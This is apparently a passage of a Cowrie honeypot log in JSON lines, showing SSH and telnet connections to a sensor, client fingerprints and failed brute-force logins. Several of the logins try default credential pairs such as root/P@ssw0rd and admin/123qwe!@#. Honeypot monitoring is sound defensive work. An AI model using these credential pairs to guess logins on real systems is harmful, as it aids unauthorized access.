ha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:09.470554Z","src_ip":"43.130.36.39","session":"f3c887e698b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:09.769241Z","src_ip":"45.153.34.112","session":"b59a20481b1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwe!@#","message":"login attempt [admin/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:09.776385Z","src_ip":"43.130.36.39","session":"f3c887e698b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:10.848378Z","src_ip":"43.130.36.39","session":"f3c887e698b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35672,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2ba46f05dd5","protocol":"ssh","message":"New connection: 45.153.34.112:35672 (10.17.0.5:22) [session: c2ba46f05dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:11.648889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:11.653329Z","src_ip":"45.153.34.112","session":"c2ba46f05dd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:11.735293Z","src_ip":"45.153.34.112","session":"c2ba46f05dd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:12.064883Z","src_ip":"45.153.34.112","session":"c2ba46f05dd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:13.148731Z","src_ip":"45.153.34.112","session":"c2ba46f05dd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":54166,"dst_ip":"10.17.0.5","dst_port":22,"session":"f79061af1d6c","protocol":"ssh","message":"New connection: 186.68.83.105:54166 (10.17.0.5:22) [session: f79061af1d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:13.872212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:13.876606Z","src_ip":"186.68.83.105","session":"f79061af1d6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:13.968135Z","src_ip":"186.68.83.105","session":"f79061af1d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tty0","message":"login attempt [root/tty0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:14.352962Z","src_ip":"186.68.83.105","session":"f79061af1d6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33052,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f404f1f358b","protocol":"telnet","message":"New connection: 192.119.13.58:33052 (10.17.0.5:23) [session: 1f404f1f358b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:14.707027Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35704,"dst_ip":"10.17.0.5","dst_port":22,"session":"119b42c7771b","protocol":"ssh","message":"New connection: 45.153.34.112:35704 (10.17.0.5:22) [session: 119b42c7771b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:15.318811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:15.323627Z","src_ip":"45.153.34.112","session":"119b42c7771b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35790,"dst_ip":"10.17.0.5","dst_port":23,"session":"5198d0e2bb7b","protocol":"telnet","message":"New connection: 192.119.13.58:35790 (10.17.0.5:23) [session: 5198d0e2bb7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:15.392993Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:15.405983Z","src_ip":"45.153.34.112","session":"119b42c7771b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:15.442981Z","src_ip":"186.68.83.105","session":"f79061af1d6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:15.612321Z","src_ip":"116.110.15.216","session":"be74f069195d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:15.652988Z","src_ip":"45.153.34.112","session":"119b42c7771b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:16.739473Z","src_ip":"45.153.34.112","session":"119b42c7771b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41326,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd557bb8dc02","protocol":"telnet","message":"New connection: 192.119.13.58:41326 (10.17.0.5:23) [session: dd557bb8dc02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:16.851161Z"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:17.380383Z","src_ip":"116.110.15.216","session":"be74f069195d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44544,"dst_ip":"10.17.0.5","dst_port":23,"session":"7706150a883a","protocol":"telnet","message":"New connection: 192.119.13.58:44544 (10.17.0.5:23) [session: 7706150a883a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:17.670644Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35734,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d0ab0660f24","protocol":"ssh","message":"New connection: 45.153.34.112:35734 (10.17.0.5:22) [session: 5d0ab0660f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:18.755966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:18.760622Z","src_ip":"45.153.34.112","session":"5d0ab0660f24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":23924,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d0b10d35522","protocol":"ssh","message":"New connection: 158.178.141.16:23924 (10.17.0.5:22) [session: 0d0b10d35522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:18.771559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:18.778760Z","src_ip":"158.178.141.16","session":"0d0b10d35522","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:18.842532Z","src_ip":"45.153.34.112","session":"5d0ab0660f24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.3819842338562,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:18.856817Z","src_ip":"192.119.13.58","session":"9c1e7f24cc8d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:18.986786Z","src_ip":"158.178.141.16","session":"0d0b10d35522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:19.089566Z","src_ip":"45.153.34.112","session":"5d0ab0660f24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starwars","message":"login attempt [root/starwars] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:19.850237Z","src_ip":"158.178.141.16","session":"0d0b10d35522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:20.252836Z","src_ip":"45.153.34.112","session":"5d0ab0660f24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54654,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c0513538fd5","protocol":"telnet","message":"New connection: 192.119.13.58:54654 (10.17.0.5:23) [session: 6c0513538fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:20.280832Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:21.061965Z","src_ip":"158.178.141.16","session":"0d0b10d35522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.250127077102661,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:21.957013Z","src_ip":"192.119.13.58","session":"1f404f1f358b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35086,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad8aa01b317f","protocol":"ssh","message":"New connection: 45.153.34.112:35086 (10.17.0.5:22) [session: ad8aa01b317f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:22.305182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:22.309476Z","src_ip":"45.153.34.112","session":"ad8aa01b317f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:22.392163Z","src_ip":"45.153.34.112","session":"ad8aa01b317f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:22.637729Z","src_ip":"45.153.34.112","session":"ad8aa01b317f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":33574,"dst_ip":"10.17.0.5","dst_port":22,"session":"35128c536924","protocol":"ssh","message":"New connection: 43.173.122.127:33574 (10.17.0.5:22) [session: 35128c536924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:23.416856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:23.420886Z","src_ip":"43.173.122.127","session":"35128c536924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.738749504089355,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:23.475933Z","src_ip":"192.119.13.58","session":"d2a5a890ea41","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:23.487644Z","src_ip":"43.173.122.127","session":"35128c536924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:23.728095Z","src_ip":"45.153.34.112","session":"ad8aa01b317f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:23.790509Z","src_ip":"43.173.122.127","session":"35128c536924","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38700,"dst_ip":"10.17.0.5","dst_port":23,"session":"a06192958283","protocol":"telnet","message":"New connection: 192.119.13.58:38700 (10.17.0.5:23) [session: a06192958283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:24.179198Z"}
